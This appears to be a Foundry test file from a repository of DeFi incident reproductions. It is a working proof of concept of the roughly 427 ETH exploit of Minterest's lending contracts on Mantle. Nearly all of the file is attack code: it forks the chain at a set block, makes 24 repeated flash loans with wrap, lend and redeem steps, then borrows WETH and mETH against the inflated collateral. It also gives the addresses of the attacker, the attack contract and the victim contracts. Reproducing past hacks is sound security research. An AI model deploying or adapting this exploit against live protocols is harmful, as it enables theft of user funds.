-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
Minterest_exp.sol
150 lines (137 loc) · 5.25 KB
/
Minterest_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo -- Total Lost : ~427 ETH
// TX : https://app.blocksec.com/explorer/tx/mantle/0xb3c4c313a8d3e2843c9e6e313b199d7339211cdc70c2eca9f4d88b1e155fd6bd
// Attacker : https://mantlescan.info/address/0x618f768af6291705eb13e0b2e96600b3851911d1
// Attack Contract : https://mantlescan.info/address/0x5fdac50aa48e3e86299a04ad18a68750b2074d2d
// GUY : https://x.com/0xNickLFranklin/status/1813122959219040323
interface IERC3156FlashBorrower {
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32);
}
interface Musdy is IERC20 {
function maxFlashLoan(
address token
) external view returns (uint256);
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
function redeemUnderlying(
uint256 redeemAmount
) external;
function lendRUSDY(
uint256 _rUsdyLendAmount
) external;
}
interface Musd is IERC20 {
function wrap(
uint256 _USDYAmount
) external;
}
interface Meth is IERC20 {
function borrow(
uint256 _amount
) external;
}
contract Exploit is Test {
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
address vulncontract = 0xe38E3a804eF845e36F277D86Fb2b24b8C32B3340;
Musdy musdy = Musdy(0x5edBD8808F48Ffc9e6D4c0D6845e0A0B4711FD5c);
Musd musd = Musd(0xab575258d37EaA5C8956EfABe71F4eE8F6397cF3);
Meth mWETH = Meth(0xfa1444aC7917d6B96Cac8307E97ED9c862E387Be);
Meth mMETH = Meth(0x5aA322875a7c089c1dB8aE67b6fC5AbD11cf653d);
IERC20 WETH = IERC20(0xdEAddEaDdeadDEadDEADDEAddEADDEAddead1111);
IERC20 mETH = IERC20(0xcDA86A272531e8640cD7F1a92c01839911B90bb0);
IERC20 usdy = IERC20(0x5bE26527e817998A7206475496fDE1E68957c5A6);
address Proxy = 0xe53a90EFd263363993A3B41Aa29f7DaBde1a932D;
bytes4 private constant TARGET_FUNCTION_SELECTOR = 0x847d282d;
uint256 public wrapAmount;
function setUp() public {
cheats.createSelectFork("https://rpc.mantle.xyz", 66_416_576);
}
function testExpolit() public {
usdy.approve(address(musdy), type(uint256).max);
usdy.approve(address(musd), type(uint256).max);
musd.approve(address(musdy), type(uint256).max);
musdy.approve(address(musdy), type(uint256).max);
address[] memory addressArray = new address[](1);
addressArray[0] = address(musdy);
address(Proxy).call(abi.encodeWithSignature("enableAsCollateral(address[])", addressArray));
address(vulncontract).call(
abi.encodeWithSelector(bytes4(0x490e6cbc), address(this), 0, 4_265_391_252_891_663_973_703_824, "")
);
// emit log_named_decimal_uint("[End] Attacker musdy balance after exploit", musdy.balanceOf(address(this)), musdy.decimals());
mWETH.borrow(223 ether);
mMETH.borrow(204 ether);
emit log_named_decimal_uint(
"[End] Attacker musdy balance after exploit", musdy.balanceOf(address(this)), musdy.decimals()
);
emit log_named_decimal_uint(
"[End] Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
);
emit log_named_decimal_uint(
"[End] Attacker mETH balance after exploit", mETH.balanceOf(address(this)), mETH.decimals()
);
}
// function 0x847d282d(uint256 varg0, uint256 varg1, uint256 varg2){
function myFunction(uint256 a, uint256 b, uint256 c) public {
uint256 i = 0;
initializeWrapAmount(4_265_037_756_531_702_250_012_049);
while (i < 24) {
uint256 amount = musdy.maxFlashLoan(address(usdy));
musdy.flashLoan(IERC3156FlashBorrower(address(this)), address(usdy), amount, "");
musdy.redeemUnderlying(4_265_817_792_016_953_140_101_195);
i++;
}
usdy.transfer(address(msg.sender), 4_265_817_792_016_953_140_101_195);
}
function onFlashLoan(
address initiator,
address token,
uint256 amount,
uint256 fee,
bytes calldata data
) external returns (bytes32) {
musd.wrap(wrapAmount);
wrapAmount -= 383_885_212_760_249_758;
uint256 thisamount = musd.balanceOf(address(this));
musdy.lendRUSDY(thisamount);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
function initializeWrapAmount(
uint256 initialAmount
) public {
wrapAmount = initialAmount;
}
fallback() external payable {
require(msg.data.length >= 4, "Invalid data");
bytes4 selector;
assembly {
selector := calldataload(0)
}
if (selector == TARGET_FUNCTION_SELECTOR) {
uint256 varg0;
uint256 varg1;
uint256 varg2;
assembly {
varg0 := calldataload(4)
varg1 := calldataload(36)
varg2 := calldataload(68)
}
myFunction(varg0, varg1, varg2);
} else {
revert("Function not recognized");
}
}
receive() external payable {}
}